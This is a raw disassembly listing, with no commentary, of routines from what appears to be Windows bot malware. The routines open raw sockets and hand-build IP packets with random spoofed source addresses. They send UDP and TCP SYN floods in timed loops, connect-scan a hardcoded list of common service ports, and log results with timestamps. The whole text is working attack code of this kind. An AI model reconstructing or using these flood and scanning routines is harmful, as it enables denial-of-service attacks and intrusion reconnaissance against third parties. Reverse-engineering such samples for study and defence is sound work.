		pop	ebx
		leave
		retn
sub_413849	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A92	proc near		; DATA XREF: sub_401CC1+4480o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_413B08
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44CEF8
		push	eax
		call	sub_41B740
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	0
		call	dword_4F1388	; ExitThread
sub_413A92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B08	proc near		; CODE XREF: sub_413A92+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4E091C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_413B46
		lea	eax, [ebp+var_254]
		push	offset unk_44CF38
		push	eax
		call	sub_41B740
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_413E0C
; ---------------------------------------------------------------------------


loc_413B46:				; CODE XREF: sub_413B08+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413B72
		call	dword_4E083C
		push	eax
		push	offset unk_44CF64
		jmp	short loc_413B8D
; ---------------------------------------------------------------------------


loc_413B72:				; CODE XREF: sub_413B08+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413BA1
		call	dword_4E083C
		push	eax
		push	offset unk_44CFB4


loc_413B8D:				; CODE XREF: sub_413B08+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_413E0C
; ---------------------------------------------------------------------------


loc_413BA1:				; CODE XREF: sub_413B08+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4E08A0
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4F14F8	; inet_addr
		mov	esi, dword_4F1364
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44CFF8
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_413C0A
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_413C0A:				; CODE XREF: sub_413B08+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41B3F0
		cmp	esi, eax
		pop	ecx
		ja	loc_413DC3
		mov	esi, 41Ch
		jmp	short loc_413C3E
; ---------------------------------------------------------------------------


loc_413C39:				; CODE XREF: sub_413B08+2B5j
		mov	ebx, 0FFh


loc_413C3E:				; CODE XREF: sub_413B08+12Fj
		cmp	dword_4E4098, edi
		jnz	short loc_413C96
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E0848
		push	ebx
		push	1
		call	sub_4165B5
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D_2 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41B740
		add	esp, 20h
		jmp	short loc_413CA6
; ---------------------------------------------------------------------------


loc_413C96:				; CODE XREF: sub_413B08+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4E3A78
		push	eax
		call	sub_41C300
		pop	ecx
		pop	ecx


loc_413CA6:				; CODE XREF: sub_413B08+18Cj
		push	esi
		mov	byte_4E3C78, 45h
		call	dword_4E08A0
		mov	word_4E3C7A, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4E3C7C, 1
		mov	word_4E3C7E, di
		mov	byte_4E3C80, 80h
		mov	byte_4E3C81, 11h
		mov	word_4E3C82, di
		call	dword_4E08DC
		mov	dword_4E3C84, eax
		mov	eax, [ebp+var_20]
		mov	dword_4E3C88, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4E3C92, di
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jnz	short loc_413D1E
		call	sub_41B850
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_413D2C
; ---------------------------------------------------------------------------


loc_413D1E:				; CODE XREF: sub_413B08+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41B3F0
		pop	ecx
		push	eax


loc_413D2C:				; CODE XREF: sub_413B08+214j
		call	dword_4E08A0
		mov	word_4E3C8E, ax
		call	sub_41B850
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4E3C8C, dx
		call	dword_4E08A0
		push	400h
		mov	word_4E3C90, ax
		call	sub_41B850
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4E3C94
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4E3C78
		push	[ebp+var_C]
		call	dword_4E0900
		cmp	eax, 0FFFFFFFFh
		jz	loc_413E3B
		inc	[ebp+var_4]
		call	dword_4F1364	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41B3F0
		cmp	ebx, eax
		pop	ecx
		jbe	loc_413C39


loc_413DC3:				; CODE XREF: sub_413B08+124j
		push	[ebp+var_C]
		call	dword_4E0934
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41B3F0
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44D0BC
		push	eax
		call	sub_41B740
		add	esp, 1Ch


loc_413E0C:				; CODE XREF: sub_413B08+39j
					; sub_413B08+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_413E34
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_413E34:				; CODE XREF: sub_413B08+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413E3B:				; CODE XREF: sub_413B08+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44D030
		push	eax
		call	sub_41B740
		add	esp, 18h
		jmp	short loc_413E0C
sub_413B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E60	proc near		; DATA XREF: sub_401CC1+5B18o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B3F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41B3F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4E08DC
		push	eax
		call	sub_413FFA
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44D120
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_413EF2
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408EB9
		add	esp, 14h


loc_413EF2:				; CODE XREF: sub_413E60+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_413E60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F11	proc near		; CODE XREF: sub_413FFA+191p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_413F3A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4F1500	; connect
		jmp	loc_413FF6
; ---------------------------------------------------------------------------


loc_413F3A:				; CODE XREF: sub_413F11+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4F14E4	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E084C
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4E0888
		test	eax, eax
		jnz	short loc_413F9E
		or	eax, 0FFFFFFFFh
		jmp	short loc_413FF6
; ---------------------------------------------------------------------------


loc_413F9E:				; CODE XREF: sub_413F11+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_413FA9


loc_413FA5:				; CODE XREF: sub_413F11+B8j
					; sub_413F11+DCj
		mov	eax, edi
		jmp	short loc_413FF6
; ---------------------------------------------------------------------------


loc_413FA9:				; CODE XREF: sub_413F11+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_435832	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_413FCB
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_435832	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_413FA5


loc_413FCB:				; CODE XREF: sub_413F11+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4F14CC	; getsockopt
		cmp	eax, edi
		jz	short loc_413FA5
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_413FF6:				; CODE XREF: sub_413F11+24j
					; sub_413F11+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_413F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FFA	proc near		; CODE XREF: sub_413E60+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], esi
		call	dword_4F14F4	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4E4108, eax
		call	dword_4E0880
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_41413E:				; CODE XREF: sub_413FFA+1BEj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4E08A0
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4E091C
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_413F11
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4E0934
		cmp	[ebp+var_8], ebx
		jnz	short loc_4141B0
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_4141B0:				; CODE XREF: sub_413FFA+1A8j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_41413E
		mov	esi, offset dword_4E410C
		push	offset asc_44D14C ; " "
		push	esi
		call	sub_41B740
		mov	edi, dword_4F1364
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_4141E3:				; CODE XREF: sub_413FFA+23Fj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_41423B
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_414214
		push	eax
		push	esi
		push	offset aSD_2	; "%s%d	"
		push	esi
		mov	[ebp+var_10], eax
		call	sub_41B740
		add	esp, 10h
		jmp	short loc_41422E
; ---------------------------------------------------------------------------


loc_414214:				; CODE XREF: sub_413FFA+203j
		push	0FFFFh
		push	ebx
		call	sub_4165B5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E08A0
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_41422E:				; CODE XREF: sub_413FFA+218j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4141E3


loc_41423B:				; CODE XREF: sub_413FFA+1FAj
					; sub_413FFA+46Bj
		push	28h
		push	ebx
		push	offset byte_4E40A8
		call	sub_41B190
		mov	esi, 0FFFFh
		mov	byte_4E40A8, 45h
		push	esi
		push	400h
		mov	byte_4E40B1, 6
		mov	byte_4E40A9, 8
		call	sub_4165B5
		add	esp, 14h
		push	eax
		call	dword_4E08A0
		push	28h
		mov	word_4E40AC, ax
		call	dword_4E08A0
		or	byte_4E40B0, 0FFh
		cmp	dword_4E4098, ebx
		mov	word_4E40AA, ax
		mov	word_4E40AE, bx
		jnz	short loc_4142AC
		push	[ebp+arg_0]
		call	sub_414474
		pop	ecx
		jmp	short loc_4142B7
; ---------------------------------------------------------------------------


loc_4142AC:				; CODE XREF: sub_413FFA+2A5j
		push	offset dword_4E3A78
		call	dword_4E08DC


loc_4142B7:				; CODE XREF: sub_413FFA+2B0j
		mov	dword_4E40B4, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4E40B8, eax
		mov	byte_4E40C9, bl
		call	dword_4E08A0
		push	esi
		push	ebx
		mov	word_4E40CA, ax
		call	sub_4165B5
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_4165B5
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4E089C
		mov	dword_4E40C0, eax
		mov	al, byte_4E40C8
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4E40C8, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4E40C4, ebx
		mov	word_4E40CE, bx
		mov	word_4E40BE, ax
		mov	dword_4E40E4, edi
		mov	byte_4E40E8, bl
		mov	byte_4E40E9, 6
		call	dword_4E08A0
		mov	word_4E40EA, ax
		mov	ax, word_4E40BE
		mov	word_4E40D0, 2
		mov	dword_4E40D4, edi
		mov	word_4E40D2, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_41436D
; ---------------------------------------------------------------------------


loc_414368:				; CODE XREF: sub_413FFA+445j
		mov	esi, 0FFFFh


loc_41436D:				; CODE XREF: sub_413FFA+36Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_4143A1
		push	esi
		push	ebx
		call	sub_4165B5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E08A0
		mov	word_4E40BC, ax
		mov	eax, dword_4E40B4
		mov	dword_4E40E0, eax
		mov	byte_4E40C9, 2
		mov	dword_4E40C4, ebx
		jmp	short loc_4143C0
; ---------------------------------------------------------------------------


loc_4143A1:				; CODE XREF: sub_413FFA+376j
		push	esi
		push	ebx
		mov	byte_4E40C9, 10h
		call	sub_4165B5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E08A0
		movzx	eax, ax
		mov	dword_4E40C4, eax


loc_4143C0:				; CODE XREF: sub_413FFA+3A5j
		inc	word_4E40AC
		inc	dword_4E40C0
		mov	ax, word_4E40BE
		push	5
		pop	ecx
		mov	esi, offset word_4E40BC
		mov	edi, offset dword_4E40EC
		mov	word_4E40B2, bx
		mov	word_4E40CC, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4E40A8
		mov	word_4E40D2, ax
		push	esi
		call	sub_40A072
		push	20h
		push	offset dword_4E40E0
		mov	word_4E40B2, ax
		call	sub_40A072
		add	esp, 10h
		mov	word_4E40CC, ax
		push	10h
		push	offset word_4E40D0
		push	ebx
		push	28h
		push	esi
		push	dword_4E4108
		call	dword_4E0900
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_414368
		call	dword_4F1364	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_41446A
		push	[ebp+arg_8]
		call	dword_4F1334	; Sleep
		jmp	loc_41423B
; ---------------------------------------------------------------------------


loc_41446A:				; CODE XREF: sub_413FFA+460j
		pop	edi
		pop	esi
		mov	eax, offset dword_4E410C
		pop	ebx
		leave
		retn
sub_413FFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414474	proc near		; CODE XREF: sub_413FFA+2AAp

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_4165B5
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_414474	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414492	proc near		; CODE XREF: sub_401CC1+687Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_452A48
		mov	edi, 0B8h


loc_4144A6:				; CODE XREF: sub_414492+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4144C9
		push	[ebp+arg_0]
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4144C9
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4535C8
		jl	short loc_4144A6
		jmp	short loc_41450B
; ---------------------------------------------------------------------------


loc_4144C9:				; CODE XREF: sub_414492+17j
					; sub_414492+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_452A48[esi]
		push	ebx
		call	sub_41B190
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B1F0
		push	9Fh
		lea	eax, dword_452A60[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B1F0
		add	esp, 24h
		inc	dword_43C6A4
		pop	ebx


loc_41450B:				; CODE XREF: sub_414492+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_414492	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414512	proc near		; CODE XREF: sub_401CC1+2417p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_44D158
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_452A48


loc_41453C:				; CODE XREF: sub_414512+72j
		cmp	byte ptr [esi],	0
		jz	short loc_414577
		lea	eax, [esi+18h]


loc_414544:				; DATA XREF: .nsp0:00451FE0o
		push	eax
		push	esi
		push	edi
		push	offset dword_44D16C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B910
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 2Ch


loc_414577:				; CODE XREF: sub_414512+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4535C8
		jl	short loc_41453C
		pop	edi
		pop	esi
		leave
		retn
sub_414512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41458A	proc near		; CODE XREF: sub_40141B+381p
					; sub_40141B+402p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_4F13F0	; GetLocalTime
		mov	ebx, offset dword_4E8510
		mov	edi, 80h
		mov	esi, offset dword_4E4510


loc_4145AC:				; CODE XREF: sub_41458A+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4145C3
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch


loc_4145C3:				; CODE XREF: sub_41458A+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4145AC
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B910
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41458A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145FE	proc near		; CODE XREF: sub_4019E1+F7p
					; sub_401CC1:loc_402260p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C6A0
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_41458A
		add	esp, 14h
		leave
		retn
sub_4145FE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_414659
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_44D1A4
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_408EB9
		add	esp, 14h


loc_414659:				; CODE XREF: .nsp0:00414640j
		cmp	[ebp+18h], ebx
		jz	short loc_414671
		push	dword ptr [ebp+18h]
		call	sub_41B3F0
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_414671
		mov	[ebp-8], eax


loc_414671:				; CODE XREF: .nsp0:0041465Cj
					; .nsp0:0041466Cj
		mov	[ebp+14h], ebx
		mov	esi, offset dword_4E4510


loc_414679:				; CODE XREF: .nsp0:004146C1j
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_4146C3
		cmp	[esi], bl
		jz	short loc_4146B2
		cmp	[ebp+18h], ebx
		jz	short loc_41469E
		cmp	[ebp-4], ebx
		jnz	short loc_41469E
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_415E06
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4146B2


loc_41469E:				; CODE XREF: .nsp0:00414688j
					; .nsp0:0041468Dj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_408EB9
		add	esp, 14h


